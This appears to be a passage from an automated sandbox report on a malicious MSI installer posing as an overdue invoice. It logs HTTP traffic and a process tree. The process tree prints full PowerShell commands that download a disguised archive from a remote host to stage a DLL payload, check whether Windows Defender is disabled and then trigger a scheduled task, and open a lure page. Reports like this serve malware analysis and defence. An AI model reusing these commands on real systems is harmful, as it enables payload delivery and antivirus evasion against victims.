2024-12-21 07:41:39 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:39 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:39 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49912	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:40 UTC	1029	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 390 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip X-Goog-AuthUser: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:40 UTC	390	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a cd 53 5b 6b c2 30 14 fe 2b 23 cf c5 b6 d6 d5 ca d8 43 bd 30 0a 52 dd 70 0c d6 96 50 da 68 c3 d2 64 24 a9 93 fd fa 9d 46 dd d0 07 75 db 8b 04 4e ce f9 ce fd 23 49 12 d7 e2 0d 63 17 8b e4 e2 c0 24 41 0f 42 ac 18 b9 19 55 52 d4 04 59 c8 75 fb 28 b3 12 14 0b 7d 17 de 0f 65 ce 4b 40 03 83 99 20 da d4 fb b0 cc 72 2c f4 42 79 29 3e 54 8b 39 1d 38 a0 6c 02 1f e4 36 0a a0 db 81 17 74 5c af db d6 e8 41 8a 39 19 64 77 1d c7 87 21 90 db f7 7a 7d df 0f 06 3d 7f e0 a1 33 43 23 98 3a 45 76 c1 28 e1 1a 2b 2d 49 5e 7f da a5 a4 6b 82 55 95 4b ca 57 76 7b 13 bc 0d b1 29 a7 da 56 84 97 b8 d5 70 21 ea 1a 96 b2 0b d1 70 9d ee ba 41 c5 a5 90 84 ae 38 56 44 ae 69 41 c0 93 a2 f7 5c 57 46 51 3a d7 8d 32 2a 55 78 49 a5 82 42 39 63 7b e4 23 a7 1a 1a 63 Data Ascii: S[k0+#C0RpPhd$FuN#Ic$ABURYu(}eK@ r,By)>T98l6t\A9dw!z}=3C#:Ev(+-I^kUKWv{)Vp!pA8VDiA\WFQ:2*UxIB9c{#c
2024-12-21 07:41:40 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:40 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:40 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49975	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:42:07 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4723 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:42:07 UTC	4723	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 39 32 34 38 34 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734766924842",null,null,null,
2024-12-21 07:42:08 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:42:08 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:42:08 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:42:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:39:57
Start date:	21/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Fatura227Pendente576.pdf674.msi"
Imagebase:	0x7ff6f8610000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:39:57
Start date:	21/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6f8610000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:39:57
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4
Imagebase:	0xae0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:39:58
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:39:58
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:40:02
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:40:02
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:40:08
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2970.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:40:08
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:40:09
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:40:11
Start date:	21/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:40:12
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1956,i,12467281567636265380,10636997337395196544,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:40:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss3FBB.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:40:14
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:40:18
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:40:19
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:40:20
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:40:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6568.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:40:23
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:40:33
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8A88.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:40:33
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:40:40
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA5E4.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:40:40
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:40:45
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse \| Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	02:40:45
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	02:40:52
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD40C.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:40:52
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:40:56
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:40:56
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:41:06
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssB9B.ps1"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:41:06
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:41:10
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	02:41:11
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
